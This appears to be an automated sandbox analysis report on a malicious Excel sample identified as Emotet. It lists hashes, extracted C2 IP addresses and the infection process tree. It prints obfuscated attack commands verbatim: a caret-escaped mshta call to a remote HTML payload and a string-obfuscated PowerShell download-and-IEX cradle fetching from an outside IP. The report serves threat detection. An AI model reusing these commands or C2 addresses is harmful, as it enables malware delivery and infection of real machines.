Analysis
-
max time kernel
119s -
max time network
128s -
platform
windows10_x64 -
resource
win10-en-20211208 -
submitted
20-01-2022 21:24
Behavioral task
behavioral1
Sample
8a07b30e84df7c4db85691e055e4f39fb78621392b7a282b3b64d13a675e14b1.xls
Resource
win10-en-20211208
General
-
Target
8a07b30e84df7c4db85691e055e4f39fb78621392b7a282b3b64d13a675e14b1.xls
-
Size
70KB
-
MD5
54a404bdf97dec3861e86661501de08f
-
SHA1
d265c805ce856e563e54b014495ac663c9181d3c
-
SHA256
8a07b30e84df7c4db85691e055e4f39fb78621392b7a282b3b64d13a675e14b1
-
SHA512
09a4bcb74c1018711277aea44df07a25b751903bf97b27ecb16e30acfb9563219ec1c0f3d654095e8f8bc14224dcbd5247b8520bdb13fdb2ee7740049a647bc8
Malware Config
Extracted
http://0xb907d607/fer/fe2.html
Extracted
http://185.7.214.7/fer/fe2.png
Extracted
emotet
Epoch4
131.100.24.231:80
209.59.138.75:7080
103.8.26.103:8080
51.38.71.0:443
212.237.17.99:8080
79.172.212.216:8080
207.38.84.195:8080
104.168.155.129:8080
178.79.147.66:8080
46.55.222.11:443
103.8.26.102:8080
192.254.71.210:443
45.176.232.124:443
203.114.109.124:443
51.68.175.8:8080
58.227.42.236:80
45.142.114.231:8080
217.182.143.207:443
178.63.25.185:443
45.118.115.99:8080
103.75.201.2:443
104.251.214.46:8080
158.69.222.101:443
81.0.236.90:443
45.118.135.203:7080
176.104.106.96:8080
212.237.56.116:7080
216.158.226.206:443
173.212.193.249:8080
50.116.54.215:443
138.185.72.26:8080
41.76.108.46:8080
212.237.5.209:443
107.182.225.142:8080
195.154.133.20:443
162.214.50.39:7080
110.232.117.186:8080
Signatures
-
Process spawned unexpected child process 1 IoCs
This typically indicates the parent process was compromised via an exploit or macro.
Processes:
cmd.exedescription pid pid_target process target process Parent C:\Program Files\Microsoft Office\Root\Office16\EXCEL.EXE is not expected to spawn this process 3004 2632 cmd.exe EXCEL.EXE -
suricata: ET MALWARE W32/Emotet CnC Beacon 3
suricata: ET MALWARE W32/Emotet CnC Beacon 3
-
Blocklisted process makes network request 5 IoCs
Processes:
mshta.exepowershell.exerundll32.exeflow pid process 23 2984 mshta.exe 35 3592 powershell.exe 39 3592 powershell.exe 40 3928 rundll32.exe 42 3928 rundll32.exe -
Downloads MZ/PE file
-
Loads dropped DLL 2 IoCs
Processes:
rundll32.exerundll32.exepid process 1524 rundll32.exe 2552 rundll32.exe -
Drops file in System32 directory 1 IoCs
Processes:
rundll32.exedescription ioc process File opened for modification C:\Windows\SysWOW64\Mojgglscozx\zmkyswtwxyfsur.aen rundll32.exe -
Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s). Likely ransomware behaviour.
-
Program crash 1 IoCs
Processes:
WerFault.exepid pid_target process target process 3576 2984 WerFault.exe mshta.exe -
Checks processor information in registry 2 TTPs 3 IoCs
Processor information is often read in order to detect sandboxing environments.
Processes:
EXCEL.EXEdescription ioc process Key opened \REGISTRY\MACHINE\Hardware\Description\System\CentralProcessor\0 EXCEL.EXE Key value queried \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\~MHz EXCEL.EXE Key value queried \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\ProcessorNameString EXCEL.EXE -
Enumerates system info in registry 2 TTPs 3 IoCs
Processes:
EXCEL.EXEdescription ioc process Key opened \REGISTRY\MACHINE\Hardware\Description\System\BIOS EXCEL.EXE Key value queried \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS\SystemFamily EXCEL.EXE Key value queried \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS\SystemSKU EXCEL.EXE -
Suspicious behavior: AddClipboardFormatListener 1 IoCs
Processes:
EXCEL.EXEpid process 2632 EXCEL.EXE -
Suspicious behavior: EnumeratesProcesses 19 IoCs
Processes:
WerFault.exepowershell.exerundll32.exepid process 3576 WerFault.exe 3576 WerFault.exe 3576 WerFault.exe 3576 WerFault.exe 3576 WerFault.exe 3576 WerFault.exe 3576 WerFault.exe 3576 WerFault.exe 3576 WerFault.exe 3576 WerFault.exe 3576 WerFault.exe 3576 WerFault.exe 3576 WerFault.exe 3576 WerFault.exe 3592 powershell.exe 3592 powershell.exe 3592 powershell.exe 3928 rundll32.exe 3928 rundll32.exe -
Suspicious use of AdjustPrivilegeToken 2 IoCs
Processes:
WerFault.exepowershell.exedescription pid process Token: SeDebugPrivilege 3576 WerFault.exe Token: SeDebugPrivilege 3592 powershell.exe -
Suspicious use of SetWindowsHookEx 13 IoCs
Processes:
EXCEL.EXEpid process 2632 EXCEL.EXE 2632 EXCEL.EXE 2632 EXCEL.EXE 2632 EXCEL.EXE 2632 EXCEL.EXE 2632 EXCEL.EXE 2632 EXCEL.EXE 2632 EXCEL.EXE 2632 EXCEL.EXE 2632 EXCEL.EXE 2632 EXCEL.EXE 2632 EXCEL.EXE 2632 EXCEL.EXE -
Suspicious use of WriteProcessMemory 20 IoCs
Processes:
EXCEL.EXEcmd.exemshta.exepowershell.execmd.exerundll32.exerundll32.exerundll32.exedescription pid process target process PID 2632 wrote to memory of 3004 2632 EXCEL.EXE cmd.exe PID 2632 wrote to memory of 3004 2632 EXCEL.EXE cmd.exe PID 3004 wrote to memory of 2984 3004 cmd.exe mshta.exe PID 3004 wrote to memory of 2984 3004 cmd.exe mshta.exe PID 2984 wrote to memory of 3592 2984 mshta.exe powershell.exe PID 2984 wrote to memory of 3592 2984 mshta.exe powershell.exe PID 3592 wrote to memory of 2636 3592 powershell.exe cmd.exe PID 3592 wrote to memory of 2636 3592 powershell.exe cmd.exe PID 2636 wrote to memory of 1524 2636 cmd.exe rundll32.exe PID 2636 wrote to memory of 1524 2636 cmd.exe rundll32.exe PID 2636 wrote to memory of 1524 2636 cmd.exe rundll32.exe PID 1524 wrote to memory of 2552 1524 rundll32.exe rundll32.exe PID 1524 wrote to memory of 2552 1524 rundll32.exe rundll32.exe PID 1524 wrote to memory of 2552 1524 rundll32.exe rundll32.exe PID 2552 wrote to memory of 3944 2552 rundll32.exe rundll32.exe PID 2552 wrote to memory of 3944 2552 rundll32.exe rundll32.exe PID 2552 wrote to memory of 3944 2552 rundll32.exe rundll32.exe PID 3944 wrote to memory of 3928 3944 rundll32.exe rundll32.exe PID 3944 wrote to memory of 3928 3944 rundll32.exe rundll32.exe PID 3944 wrote to memory of 3928 3944 rundll32.exe rundll32.exe
Processes
-
C:\Program Files\Microsoft Office\Root\Office16\EXCEL.EXE"C:\Program Files\Microsoft Office\Root\Office16\EXCEL.EXE" "C:\Users\Admin\AppData\Local\Temp\8a07b30e84df7c4db85691e055e4f39fb78621392b7a282b3b64d13a675e14b1.xls"1⤵
- Checks processor information in registry
- Enumerates system info in registry
- Suspicious behavior: AddClipboardFormatListener
- Suspicious use of SetWindowsHookEx
- Suspicious use of WriteProcessMemory
PID:2632 -
C:\Windows\SYSTEM32\cmd.execmd /c m^sh^t^a h^tt^p^:/^/0xb907d607/fer/fe2.html2⤵
- Process spawned unexpected child process
- Suspicious use of WriteProcessMemory
PID:3004 -
C:\Windows\system32\mshta.exemshta http://0xb907d607/fer/fe2.html3⤵
- Blocklisted process makes network request
- Suspicious use of WriteProcessMemory
PID:2984 -
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -noexit $c1='({GOOGLE}{GOOGLE}Ne{GOOGLE}{GOOGLE}w{GOOGLE}-Obj{GOOGLE}ec{GOOGLE}{GOOGLE}t N{GOOGLE}{GOOGLE}et{GOOGLE}.W{GOOGLE}{GOOGLE}e'.replace('{GOOGLE}', ''); $c4='bC{GOOGLE}li{GOOGLE}{GOOGLE}en{GOOGLE}{GOOGLE}t).D{GOOGLE}{GOOGLE}ow{GOOGLE}{GOOGLE}nl{GOOGLE}{GOOGLE}{GOOGLE}o'.replace('{GOOGLE}', ''); $c3='ad{GOOGLE}{GOOGLE}St{GOOGLE}rin{GOOGLE}{GOOGLE}g{GOOGLE}(''ht{GOOGLE}tp{GOOGLE}://185.7.214.7/fer/fe2.png'')'.replace('{GOOGLE}', '');$JI=($c1,$c4,$c3 -Join '');I`E`X $JI|I`E`X4⤵
- Blocklisted process makes network request
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of WriteProcessMemory
PID:3592 -
C:\Windows\system32\cmd.exe"C:\Windows\system32\cmd.exe" /c C:\Windows\SysWow64\rundll32.exe C:\Users\Public\Documents\ssd.dll,AnyString5⤵
- Suspicious use of WriteProcessMemory
PID:2636 -
C:\Windows\SysWow64\rundll32.exeC:\Windows\SysWow64\rundll32.exe C:\Users\Public\Documents\ssd.dll,AnyString6⤵
- Loads dropped DLL
- Suspicious use of WriteProcessMemory
PID:1524 -
C:\Windows\SysWOW64\rundll32.exeC:\Windows\SysWOW64\rundll32.exe "C:\Users\Public\Documents\ssd.dll",DllRegisterServer7⤵
- Loads dropped DLL
- Drops file in System32 directory
- Suspicious use of WriteProcessMemory
PID:2552 -
C:\Windows\SysWOW64\rundll32.exeC:\Windows\SysWOW64\rundll32.exe "C:\Windows\SysWOW64\Mojgglscozx\zmkyswtwxyfsur.aen",bvQjWIS8⤵
- Suspicious use of WriteProcessMemory
PID:3944 -
C:\Windows\SysWOW64\rundll32.exeC:\Windows\SysWOW64\rundll32.exe "C:\Windows\System32\Mojgglscozx\zmkyswtwxyfsur.aen",DllRegisterServer9⤵
- Blocklisted process makes network request
- Suspicious behavior: EnumeratesProcesses
PID:3928 -
C:\Windows\system32\WerFault.exeC:\Windows\system32\WerFault.exe -u -p 2984 -s 19124⤵
- Program crash
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
PID:3576
Network
MITRE ATT&CK Enterprise v6
Replay Monitor
Loading Replay Monitor...
Downloads
-
C:\Users\Public\Documents\ssd.dllMD5
306996c9e96bc21cc31edbbba54a6ee7
SHA1239554b8f85941fc2d2b14a87c0855fb284d6f7a
SHA25630acbae9e62419cc4a5779a285b779bfe6c2dd30214ec65f712c242063c76ec8
SHA51275aea841a0a6a34d9e18240226824ffc5e0c12ab2e7833ddbc311df7a1bc1507143766e26fb0ec787ea94efa37ab5b0e539f2ce3e5c2c798c285cb9a621cb0f3
-
\Users\Public\Documents\ssd.dllMD5
306996c9e96bc21cc31edbbba54a6ee7
SHA1239554b8f85941fc2d2b14a87c0855fb284d6f7a
SHA25630acbae9e62419cc4a5779a285b779bfe6c2dd30214ec65f712c242063c76ec8
SHA51275aea841a0a6a34d9e18240226824ffc5e0c12ab2e7833ddbc311df7a1bc1507143766e26fb0ec787ea94efa37ab5b0e539f2ce3e5c2c798c285cb9a621cb0f3
-
\Users\Public\Documents\ssd.dllMD5
306996c9e96bc21cc31edbbba54a6ee7
SHA1239554b8f85941fc2d2b14a87c0855fb284d6f7a
SHA25630acbae9e62419cc4a5779a285b779bfe6c2dd30214ec65f712c242063c76ec8
SHA51275aea841a0a6a34d9e18240226824ffc5e0c12ab2e7833ddbc311df7a1bc1507143766e26fb0ec787ea94efa37ab5b0e539f2ce3e5c2c798c285cb9a621cb0f3
-
memory/1524-594-0x0000000000EC0000-0x0000000000EE6000-memory.dmpFilesize
152KB
-
memory/2552-606-0x0000000004AF0000-0x0000000004B16000-memory.dmpFilesize
152KB
-
memory/2552-618-0x0000000004CC0000-0x0000000004CE6000-memory.dmpFilesize
152KB
-
memory/2552-604-0x0000000004A90000-0x0000000004AB6000-memory.dmpFilesize
152KB
-
memory/2552-602-0x00000000049B0000-0x00000000049D6000-memory.dmpFilesize
152KB
-
memory/2552-600-0x00000000048B0000-0x00000000048D6000-memory.dmpFilesize
152KB
-
memory/2552-608-0x0000000004B50000-0x0000000004B76000-memory.dmpFilesize
152KB
-
memory/2552-597-0x0000000000C40000-0x0000000000C66000-memory.dmpFilesize
152KB
-
memory/2632-654-0x00007FFB04400000-0x00007FFB04410000-memory.dmpFilesize
64KB
-
memory/2632-128-0x00007FFB00DC0000-0x00007FFB00DD0000-memory.dmpFilesize
64KB
-
memory/2632-121-0x00007FFB04400000-0x00007FFB04410000-memory.dmpFilesize
64KB
-
memory/2632-118-0x00007FFB04400000-0x00007FFB04410000-memory.dmpFilesize
64KB
-
memory/2632-117-0x00007FFB04400000-0x00007FFB04410000-memory.dmpFilesize
64KB
-
memory/2632-116-0x00007FFB04400000-0x00007FFB04410000-memory.dmpFilesize
64KB
-
memory/2632-653-0x00007FFB04400000-0x00007FFB04410000-memory.dmpFilesize
64KB
-
memory/2632-655-0x00007FFB04400000-0x00007FFB04410000-memory.dmpFilesize
64KB
-
memory/2632-656-0x00007FFB04400000-0x00007FFB04410000-memory.dmpFilesize
64KB
-
memory/2632-129-0x00007FFB00DC0000-0x00007FFB00DD0000-memory.dmpFilesize
64KB
-
memory/2632-115-0x00007FFB04400000-0x00007FFB04410000-memory.dmpFilesize
64KB
-
memory/3592-465-0x000001CEAEE10000-0x000001CEC6FE0000-memory.dmpFilesize
385.8MB
-
memory/3592-528-0x000001CEAEE10000-0x000001CEC6FE0000-memory.dmpFilesize
385.8MB
-
memory/3592-389-0x000001CEC76B0000-0x000001CEC7726000-memory.dmpFilesize
472KB
-
memory/3592-385-0x000001CEAEE10000-0x000001CEC6FE0000-memory.dmpFilesize
385.8MB
-
memory/3592-358-0x000001CEC71A0000-0x000001CEC71DC000-memory.dmpFilesize
240KB
-
memory/3592-277-0x000001CEC6FE0000-0x000001CEC7002000-memory.dmpFilesize
136KB
-
memory/3928-620-0x0000000000E90000-0x0000000000EB6000-memory.dmpFilesize
152KB
-
memory/3944-617-0x0000000000EB0000-0x0000000000ED6000-memory.dmpFilesize
152KB